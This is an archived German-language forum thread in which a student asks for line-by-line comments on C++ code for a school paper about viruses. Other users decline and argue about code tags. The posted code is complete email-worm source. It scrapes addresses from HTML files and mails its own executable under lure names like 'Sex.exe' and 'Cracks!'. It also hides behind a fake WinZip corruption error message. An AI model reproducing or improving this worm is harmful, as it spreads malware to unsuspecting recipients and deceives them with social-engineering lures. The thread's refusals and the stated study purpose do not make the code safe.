"Christmas - the time to fix the computers of your loved ones" « Lord Wyrm

source-code (C++) kommentar

memèe 15.02.2005 - 18:17 5191 17 Thread rating
Posts

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
bräuchte kommentierung (pro zeile) des untenstehenden sourcecodes (C++) für fachbereichsarbeit!


dankeschön im voraus!
lg memèe

Code:
------------------------------------------------------------------------------------


#include<windows.h>
#include<mapi.h>
#include<memory.h>

#pragma argsused

/* find, get n' send mail */
void findMail(char *);
void GetMail(char *, char *);

// the function we are going to use to send mails
ULONG (PASCAL FAR *MSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);

// we want it global
MapiMessage mes;
MapiRecipDesc from;
char fileName[512];
unsigned short count=0;

char *fileNames[]={ "Docs.exe", "Roms.exe", "Sex.exe", "Setup.exe", "Source.exe", "_SetupB.exe",
"Pack.exe", "LUPdate.exe", "Patch.exe", "CrkList.exe" };

char *subs[]={ "Documents", "Roms", "Pr0n!", "Evaluation copy", "Help", "Beta",
"Do not release", "Last Update", "The patch", "Cracks!" };

char *texts[]= { "Send me your comments...", "Test this ROM! IT ROCKS!.",
"Adult content!!! Use with parental advisory.", "Test it 30 days for free.",
"I'm going crazy... please try to find the bug!", "Send reply if you want to be official beta tester.",
"This is the pack ;)", "This is the last cumulative update.", "I think all will work fine.",
"Check our list and mail your requests!" };

// our lovely func
void SendMail(char *subject, char *sfrom,char *sto, char *smes);

// stealth
void fastOut();

int PASCAL
WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HINSTANCE MAPIlHnd;
unsigned char buff[128];
DWORD buffs=128;
HKEY keyHnd;
char keyPath[]="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
char keyItem[]="Personal";

	/* random number */
	count=(unsigned short)GetTickCount();
	while(count>9)
		count=(unsigned short)(count/2);

	/* get module name for the attachment */
	if(!GetModuleFileName(hInstance,fileName,512))
		fastOut();

	/* test if MAPI32 is avaliable */
	MAPIlHnd=LoadLibraryA("MAPI32.DLL");
	if(!MAPIlHnd)
		fastOut();

	/* get MAPISendMail */
	(FARPROC &)MSendMail=GetProcAddress(MAPIlHnd, "MAPISendMail");

	if(!MSendMail)
		fastOut();

	findMail(".");
	findMail("\\windows");
	if(RegOpenKeyEx((PHKEY)0x80000001,keyPath,0,KEY_READ,&keyHnd)==ERROR_SUCCESS) {
		if(ERROR_SUCCESS==RegQueryValueEx(keyHnd,keyItem,0,0,buff,&buffs)) {
			buff[buffs-1]='\\';
			buff[buffs]=0;
			findMail((char *)buff);
		}
	}
	FreeLibrary(MAPIlHnd);

fastOut();
return 0;
}

void
fastOut()
{
	MessageBox(NULL,"File data corrupt:\n\n\tbad disk access or bad data transmission.",
	"WinZip Self-eXtractor",MB_OK|MB_ICONSTOP);
	exit(-1);
}


void
SendMail(char *subject, char *sfrom,char *sto, char *smes)
{

	memset(&mes, 0, sizeof(MapiMessage));
	memset(&from, 0, sizeof(MapiRecipDesc));

	from.lpszName=sfrom; // From
	from.ulRecipClass=MAPI_ORIG;
	mes.lpszSubject=subject; // Subject
	mes.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
	if(!mes.lpRecips)
		fastOut();
	memset(mes.lpRecips, 0, sizeof(MapiRecipDesc));
	mes.lpRecips->lpszName=sto; // Send to
	mes.lpRecips->ulRecipClass=MAPI_TO;
	mes.nRecipCount=1;

	mes.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
	if(!mes.lpFiles)
		fastOut();
	memset(mes.lpFiles, 0, sizeof(MapiFileDesc));
	mes.lpFiles->lpszPathName=fileName;
	mes.lpFiles->lpszFileName=fileNames[count];
	mes.nFileCount=1;

	mes.lpOriginator=&from;

	mes.lpszNoteText=smes;			// Message
	(MSendMail)(0, 0, &mes, MAPI_LOGON_UI, 0);

	free(mes.lpRecips);
	free(mes.lpFiles);
}

void
findMail(char *wild)
{
HANDLE fh;
WIN32_FIND_DATA fdata;
char mail[128];
char buff[512];

	wsprintf(buff,"%s\\*.ht*",wild);
	fh=FindFirstFile(buff,&fdata);
	if(fh==INVALID_HANDLE_VALUE)
		return;                           

	while(1) {
		wsprintf(buff,"%s\\%s",wild,fdata.cFileName);
		GetMail(buff,mail);
		if(strlen(mail)>0) {
			SendMail(subs[count], "GiftOfFury@Bumblebee.net",mail, texts[count]);
			count++;
			if(count==10)
				count=0;
		}
		if(!FindNextFile(fh,&fdata)) {
			FindClose(fh);
			return;
		}
	}
}

void
GetMail(char *name, char *mail)
{
HANDLE fd,fd2;
char *mapped;
DWORD size,i,k;
BOOL test=FALSE,valid=FALSE;

mail[0]=0;

	fd=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
		FILE_ATTRIBUTE_ARCHIVE,0);
	if(fd==INVALID_HANDLE_VALUE)
		return;

	size=GetFileSize(fd,NULL);
	if(!size)
		return;
	if(size<256)
		return;
	size-=100;

	fd2=CreateFileMapping(fd,0,PAGE_READONLY,0,0,0);
	if(!fd2) {
		CloseHandle(fd);
		return;
	}

	mapped=(char *)MapViewOfFile(fd2,FILE_MAP_READ,0,0,0);
	if(!mapped) {
		CloseHandle(fd);
		return;
	}

	i=0;
	while(i<size && !test) {
		if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {
			test=TRUE;
			i+=strlen("mailto:");
			k=0;
			while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) {
				if(mapped[i]!=' ') {
					mail[k]=mapped[i];
					k++;
					if(mapped[i]=='@')
						valid=TRUE;
				}
				i++;
			}
			mail[k]=0;
		} else
			i++;
	}

	if(!valid)
		mail[0]=0;

	UnmapViewOfFile(mapped);
	CloseHandle(fd);
	return;
}
edited by watchout :rolleyes:
Bearbeitet von watchout am 15.02.2005, 18:55

ica

hmm
Avatar
Registered: Jul 2002
Location: Graz
Posts: 9818
und wieso sollte das jemand machen?

davebastard

Vinyl-Sammler
Avatar
Registered: Jun 2002
Location: wean
Posts: 12166
das wichtigste ist ja eh schon kommentiert, den rest wirst glaub ich selber auch schaffen können :rolleyes:

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
ICA- vielleicht weil es noch nette menschen gibt, die ihr wissen an andere weitergeben, ohne eigennützen daraus ziehen zu wollen?

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
davebastard:

:( na leider nit, dafür kann i zu wenig C++

ica

hmm
Avatar
Registered: Jul 2002
Location: Graz
Posts: 9818
Zitat von memèe
ICA- vielleicht weil es noch nette menschen gibt, die ihr wissen an andere weitergeben, ohne eigennützen daraus ziehen zu wollen?

ich helfe gerne, aber nicht wenn derjenige es selbst machen sollte, zb. hausübungen oder fachbereichsarbeiten ;)

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
ICA- der springende punkt is, dass ich informatik unterrich in einem gymnasium hab, des kannst praktisch vergessen, un 50 seiten meiner fba hab i selbst geschrieben, da wird das wohl nciht ins gewicht fallen. ich hab einfach zu wenig kenntnisse um den source kommentieren zu können, wenn ich's könnte würd ich es eh selbst machen. und mein prof. will nunmal eine analyse haben......:(

that

Moderator
Hoffnungsloser Optimist
Avatar
Registered: Mar 2000
Location: MeidLing
Posts: 11338
Zitat von memèe
ICA- vielleicht weil es noch nette menschen gibt, die ihr wissen an andere weitergeben, ohne eigennützen daraus ziehen zu wollen?

Ich gebe mein Wissen gern an andere weiter. Aber hier gehts nicht um Wissensvermittlung, sondern darum, dass du Dumme (oder Gelangweilte) suchst, die gratis deine Arbeit übernehmen.

Mal ganz abgesehen davon, dass es sich bei diesem Code offensichtlich um ein Spam-Tool handelt...

Ringding

Pilot
Avatar
Registered: Jan 2002
Location: Perchtoldsdorf/W..
Posts: 4300
Ist es denn wirklich so schwer, code-Tags zu verwenden?

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
that - das hast ganz richtig erfasst. meine fachbereichsarbeit hat auch das thema Viren und andere Tiere, Angriff aus dem Netz. Folglich passt das ganz gut dazu würd ich mal sagen :)

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
Zitat von Ringding
Ist es denn wirklich so schwer, code-Tags zu verwenden?


was is ein code-tag bitte??

HeuJi

OC Addicted
Avatar
Registered: Jul 2001
Location: Vienna
Posts: 7379
Zitat von memèe
was is ein code-tag bitte??

Code:
:D

memèe

Bloody Newbie
Registered: Jan 2005
Location: Austria
Posts: 11
Zitat von HeuJi
Code:
:D


sehr nett, danke.....:mad:

davebastard

Vinyl-Sammler
Avatar
Registered: Jun 2002
Location: wean
Posts: 12166
es geht darum das du den source code zwischen code tags schreiben sollst.

[code.]dann den code [/code.] (die Punkte mußt weglassen)

HeuJi

OC Addicted
Avatar
Registered: Jul 2001
Location: Vienna
Posts: 7379
sorry aber wenn du nicht einmal dafuer google verwenden kannst...
Tags weisst hoffentlich von HTML, ist nix anderes als

Code:
Hier steht dein code

ja leider verschwindet beim posten die tags, beim quoten siehst es wieder
Bearbeitet von HeuJi am 15.02.2005, 18:48
Kontakt | Unser Forum | Über overclockers.at | Impressum | Datenschutz